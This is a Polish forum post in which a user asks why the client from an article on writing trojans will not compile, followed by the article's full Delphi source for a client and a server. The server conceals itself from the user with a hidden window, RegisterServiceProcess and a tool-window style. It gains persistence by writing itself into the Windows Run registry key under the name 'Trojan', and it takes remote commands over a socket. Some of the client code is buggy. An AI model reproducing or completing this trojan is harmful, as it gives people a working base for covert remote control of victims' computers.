czemu ten klient z artykykułu o pisaniu trojanów nie dziala......
jest on zamieszczony na tej stronce kompilator czepia sie cos do tego sendtext
HELP ME!!!!!!!!!!!!!!!1
Otwieramy nowy projekt File>New Application. Na formie umieszczamy następujące komponenty:
- TClientSocket (Nazwa: ClientSocket1) - do łączenia z serwem
- TEdit (Nazwa: Edit1) - do wpisywania Hosta serwera
- TMemo (nazwa: Memo1) - do odczytu od clienta
- TButton (Nazwa: Button1) - do nawiązania połączenia
- TButton (Nazwa: Button2) - do zrywania połączenia
- TButton (Nazwa: Button3) - do otwierania cd serwera
- TButton (Nazwa: Button4) - do zamykania cd serwera
- TButton (Nazwa: Button5) - do ściągania ścieżki windowsa z
serwera - TSpinEdit (Nazwa: SpinEdit1) - do określania portu
INFO: Można oczywiście stworzyć clienta bez określania Hosta na TEdit ale automatycznie. Jednak takie rozwiązanie jest przydatne tylko wtedy, kiedy host jest zawsze taki sam.
Teraz zaczynamy mieszać w kodzie. Najpierw musimy zrobić prawidłowy odczyt od serwera. W Onread komponentu ClentSocket1 wpisujemy taki kod:
-------- cut here --------
memo1.lines.add(Socket.ReceiveText);
-------- cut here --------
Teraz wszystkie stringi wysyłane przez nasz serwer trafią na nasz komputer :). Teraz mała procedura, która zrealizuje połączenie z serwerem. Klikamy dwókrotnie na komponent Button1 i
wpisujemy taką procedurę;
-------- cut here --------
ClientSocket1.addres := edit1.text;
ClientSocket1.host := edit1.text;
ClientSocket1.port := SpinEdit1.Value;
ClientSocket1.Active := True;
-------- cut here --------
Teraz w zdarzeniu Button2 wpisujemy taki fragment kodu:
-------- cut here --------
ClientSocket1.Active := false;
-------- cut here --------
Ot stworzyliśmy buttony do realizowania połączenia (button1) i zrywania połaczenia (button2).
Teraz tylko pozostało nam buttonów do wydawania poleceń dla serwera.
W zdarzeniu Button3 wpisujemy
-------- cut here --------
socket.sendtext('cd-open');
-------- cut here --------
W zdarzeniu Button4 wpisujemy
-------- cut here --------
socket.sendtext('cd-close');
-------- cut here --------
W zdarzeniu Button5 wpisujemy
-------- cut here --------
socket.sendtext('ścieżka dostępu');
-------- cut here --------
I to już koniec budowy klienta :)
Oto opis funcji przycisków:
- Button1 : połączenie z serwerem
- Button2 : zerwanie połączenia
- Button3 : otwieranie cd
- Button4 : zamykanie cd
- Button5 : pobranie ścieżki Windowsa na serwerze
A oto całkowite kody źródłowe clienta i serwera:
SERWER
-------- cut here --------
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Registry, MMSystem, Classes,
Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Timer1: TTimer;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var komenda : string;
Sciezka : array[0..MAX_PATH] of char;
begin
Komenda := Socket.ReceiveText;
{zmienna wprowadzona po to, aby zastąpi
Socket.ReceiveText stringiem 'komenda'
wcelu ułatwienia pracy.}
{procedury dla danych komend ... - początek}
if komenda = 'cd-open' then
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;
if komenda = 'cd-close' then
begin
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;
if komenda = 'ścieżka dostępu' then
begin
GetWindowsDirectory(Sciezka,sizeof(Sciezka));
socket.sendtext(Sciezka);
end;
{procedury dla danych komend ... - koniec}
end;
procedure TForm1.FormCreate(Sender: TObject);
var
ExtendedStyle:Integer;
begin
registerserviceprocess(0,1);
ExtendedStyle:=GetWindowLong(Application.Handle,
GWL_EXSTYLE);
SetWindowLong(Application.Handle,GWL_EXSTYLE,
ExtendedStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
Reg : TRegistry;
Sciezka : array[0..MAX_PATH] of char;
X : string;
begin
Reg := TRegistry.Create;
try
ShowWindow(Handle,SW_HIDE);
GetCurrentDirectory(sizeof(Sciezka),Sciezka);
X := (Sciezka+'\Serwer.exe');
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',
True);
Reg.WriteString('Trojan', X);
finally
Reg.Free;
end;
end;
end.
-------- cut here --------
KLIENT
-------- cut here --------
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs,
Spin, StdCtrls, ScktComp;
type
TForm1 = class(TForm)
Edit1: TEdit;
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
SpinEdit1: TSpinEdit;
Button3: TButton;
Button4: TButton;
Button5: TButton;
ClientSocket1: TClientSocket;
procedure ClientSocket1Read(Sender: TObject; Socket:
TCustomWinSocket);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo1.lines.add(Socket.ReceiveText);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.addres := edit1.text;
ClientSocket1.host := edit1.text;
ClientSocket1.port := SpinEdit1.Value;
ClientSocket1.Active := True;
end;
end.
-------- cut here --------